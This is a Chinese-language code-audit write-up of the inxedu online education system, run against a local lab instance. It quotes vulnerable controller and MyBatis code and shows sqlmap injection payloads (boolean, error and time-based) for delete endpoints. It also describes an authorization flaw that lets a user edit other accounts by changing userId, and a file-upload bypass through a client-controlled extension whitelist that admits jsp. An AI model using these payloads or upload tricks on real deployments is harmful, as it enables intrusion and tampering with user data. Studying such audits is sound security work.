inxedu代码审计

5

环境搭建

  1. 下载源码,导入idea

  2. pom.xml 修改端口

  3. project.properties 修改项目路径(修改为192.168.0.104的原因是让burpsuite能抓到包)

image-1699757211463

配置和结构

maven结构

  • src/main/java 项目的源代码所在的目录
  • src/main/resources 项目的资源文件所在的目录
  • src/main/filters 项目的资源过滤文件所在的目录
  • src/main/webapp 如果是web项目,则该目录是web应用源代码所在的目录,比如html文件和web.xml等都在该目录下

pom.xml

POM( Project Object Model,项目对象模型 ) 是 Maven 工程的基本工作单元,是一个XML文件,包含了项目的基本信息,用于描述项目如何构建,声明项目依赖,等等。

web.xml

配置欢迎页、404、filter、servlet等等。

Spring-mvc.xml

配置注解、前后台拦截等等

代码审计

前台xss漏洞

通过在WEB-INF搜索一些关键字来找一些输出点,发现部分输出点参数可控,并且没有经过过滤。

更新用户信息处src/main/java/com/inxedu/os/edu/controller/user/UserController.java

@RequestMapping("/updateUser")
@ResponseBody
public Map<String,Object> updateUserInfo(HttpServletRequest request,@ModelAttribute("user") User user){
   Map<String,Object> json = new HashMap<String,Object>();
   try{
      userService.updateUser(user);
      json = this.setJson(true, "修改成功", user);
      //缓存用户
      userService.setLoginInfo(request,user.getUserId(),"false");
   }catch (Exception e) {
      this.setAjaxException(json);
      logger.error("updateUserInfo()---error",e);
   }
   return json;
}

image-1699757244745

搜索课程处src/main/java/com/inxedu/os/edu/controller/course/CourseController.java

/**
     * 课程列表展示,搜索课程
     */
    @RequestMapping("/front/showcoulist")
    public ModelAndView showCourseList(HttpServletRequest request, @ModelAttribute("page") PageEntity page, @ModelAttribute("queryCourse") QueryCourse queryCourse) {
        ModelAndView model = new ModelAndView();
        try {
        	model.setViewName(showCourseList);
            // 页面传来的数据放到page中
        	page.setPageSize(12);
            //只查询上架的
            queryCourse.setIsavaliable(1);
            // 搜索课程列表
            List<CourseDto> courseList = courseService.queryWebCourseListPage(queryCourse, page);
            model.addObject("courseList", courseList);
            
            // 查询所有1级专业
            QuerySubject querySubject = new QuerySubject();
            querySubject.setParentId(0);
            List<Subject> subjectList = subjectService.getSubjectList(querySubject);
            
            
            //根据条件专业查询 所有的子专业
            if (ObjectUtils.isNotNull(queryCourse.getSubjectId())) {
                Subject subject = new Subject();
                subject.setSubjectId(queryCourse.getSubjectId());
                subject = subjectService.getSubjectBySubject(subject);
                //查询子专业
                List<Subject> sonSubjectList = null;
                if (subject.getParentId() != 0) {//如果条件为二级专业(根据父级id,查询所有的子级)
                    sonSubjectList = subjectService.getSubjectListByOne(Long.valueOf(subject.getParentId()));
                    model.addObject("subjectParentId", subject.getParentId());//父级id
                } else {//如果条件为一级专业(根据id,查询所有的子级)
                    sonSubjectList = subjectService.getSubjectListByOne(Long.valueOf(subject.getSubjectId()));
                }
                model.addObject("sonSubjectList", sonSubjectList);
            }
            
            // 全部教师
            QueryTeacher query = new QueryTeacher();
            List<Teacher> teacherList =teacherService.queryTeacherList(query);
            
            model.addObject("page",page);
            model.addObject("queryCourse", queryCourse);
            model.addObject("teacherList", teacherList);
            model.addObject("subjectList", subjectList);
        } catch (Exception e) {
        	model.setViewName(this.setExceptionRequest(request, e));
            logger.error("showCourseList()--error", e);
        }
        return model;
    }

image-1699757266029

image-1699757273407

越权漏洞

在刚刚的更新用户信息处
src/main/java/com/inxedu/os/edu/controller/user/UserController.java ,对用户的权限没有进行判断,修改user.userId可修改他人信息。

	@RequestMapping("/updateUser")
	@ResponseBody
	public Map<String,Object> updateUserInfo(HttpServletRequest request,@ModelAttribute("user") User user){
		Map<String,Object> json = new HashMap<String,Object>();
		try{
			userService.updateUser(user);
			json = this.setJson(true, "修改成功", user);
			//缓存用户
			userService.setLoginInfo(request,user.getUserId(),"false");
		}catch (Exception e) {
			this.setAjaxException(json);
			logger.error("updateUserInfo()---error",e);
		}
		return json;
	}
	
	public void updateUser(User user) {
		userDao.updateUser(user);
	}

后台sql注入漏洞

在登录后台的时候,getLocalHost函数会报错,需要修改本地host。

image-1699757284066

image-1699757291640

image-1699757298470

mybatis文件夹下搜索$符号,发现部分sql语句存在直接拼接,直接用sqlmap。

src/main/resources/mybatis/inxedu/article/ArticleMapper.xml处:

<!-- 删除文章 -->
<delete id="deleteArticleByIds" parameterType="java.lang.String">
DELETE FROM EDU_ARTICLE WHERE EDU_ARTICLE.ARTICLE_ID IN (${value})
</delete>
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: articelId=2) AND 4484=(SELECT (CASE WHEN (4484=4484) THEN 4484 ELSE (SELECT 2521 UNION SELECT 3040) END))-- -

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: articelId=2) AND GTID_SUBSET(CONCAT(0x716b6a7171,(SELECT (ELT(9854=9854,1))),0x71786a6271),9854)-- WcSf

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: articelId=2) AND 1394=BENCHMARK(5000000,MD5(0x52527851))-- dXOf
---
[12:44:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6

src/main/resources/mybatis/inxedu/course/CourseKpointMapper.xml处:

<!-- 删除视频节点 -->
<delete id="deleteKpointByIds" parameterType="java.lang.String">
DELETE FROM EDU_COURSE_KPOINT where EDU_COURSE_KPOINT.KPOINT_ID IN(${value})
</delete>
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: http://192.168.0.104:8080/admin/kpoint/deletekpoint/(SELECT (CASE WHEN (4331=4331) THEN 65 ELSE (SELECT 6797 UNION SELECT 8292) END)),

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.0.104:8080/admin/kpoint/deletekpoint/65 AND (SELECT 1279 FROM (SELECT(SLEEP(5)))thAc),
---
[13:07:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12

文件上传

/src/main/webapp/WEB-INF/lib/inxedu-jar.jar!/com/inxedu/os/common/controller/ImageUploadController.class处,各种上传头像处都有白名单验证,但是白名单(除了jsp)可控

                if (fileType.contains(ext) && !"jsp".equals(ext)) {
                    String filePath = this.getPath(request, ext, param);
                    File file = new File(this.getProjectRootDirPath(request) + filePath);
                    if (!file.getParentFile().exists()) {
                        file.getParentFile().mkdirs();
                    }

                    uploadfile.transferTo(file);
                    return this.responseData(filePath, 0, "上传成功", response);
                } else {
                    return this.responseErrorData(response, 1, "文件格式错误,上传失败。");
                }

尝试jspx

image-1699757319149

image-1699757333006

很遗憾,可能需要配置某些东西来解析jspx,以后学会了再看

image-1699757343244

另外两处src/main/java/com/inxedu/os/common/controller/VideoUploadController.java,白名单可控,手动添加jsp

	/**
	 * 视频上传
	 */
	@RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
	public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
			@RequestParam(value="param",required=false) String param,
			@RequestParam(value="fileType",required=true) String fileType){
		try{

			String[] type = fileType.split(",");
			//设置图片类型
			setFileTypeList(type);
			//获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
			String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
			if(!fileType.contains(ext)){
				return responseErrorData(response,1,"文件格式错误,上传失败。");
			}
			//获取文件路径
			String filePath = getPath(request,ext,param);
			File file = new File(getProjectRootDirPath(request)+filePath);

			//如果目录不存在,则创建
			if(!file.getParentFile().exists()){
				file.getParentFile().mkdirs();
			}
			//保存文件
			uploadfile.transferTo(file);
			//返回数据

			return responseData(filePath,0,"上传成功",response);
		}catch (Exception e) {
			logger.error("gok4()--error",e);
			return responseErrorData(response,2,"系统繁忙,上传失败");
		}
	}

	/**
	 * 使用上传音频
	 * @param request
	 * @return
	 */
	@RequestMapping(value="/uploadaudio",method={RequestMethod.POST})
	public String uploadAudio(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
							  @RequestParam(value="param",required=false) String param,
							  @RequestParam(value="fileType",required=true) String fileType){
		try{

			String[] type = fileType.split(",");
			//设置图片类型
			setFileTypeList(type);
			//获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
			String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
			if(!fileType.contains(ext)){
				return responseErrorData(response,1,"文件格式错误,上传失败。");
			}
			//获取文件路径
			String filePath = getPath(request,ext,param);
			File file = new File(getProjectRootDirPath(request)+filePath);

			//如果目录不存在,则创建
			if(!file.getParentFile().exists()){
				file.getParentFile().mkdirs();
			}
			//保存文件
			uploadfile.transferTo(file);
			//返回数据

			return responseData(filePath,0,"上传成功",response);
		}catch (Exception e) {
			logger.error("gok4()--error",e);
			return responseErrorData(response,2,"系统繁忙,上传失败");
		}
	}

类似头像上传的表单,修改一下uri

image-1699757358037

总结

快速定位关键函数的能力、对危险函数的熟悉程度需要不断提高,还需要把Java的一些框架系统的学习一下。

Reference

JAVA代码审计 | 因酷网校在线教育系统
SSM框架审计学习-- 因酷网校在线教育系统审计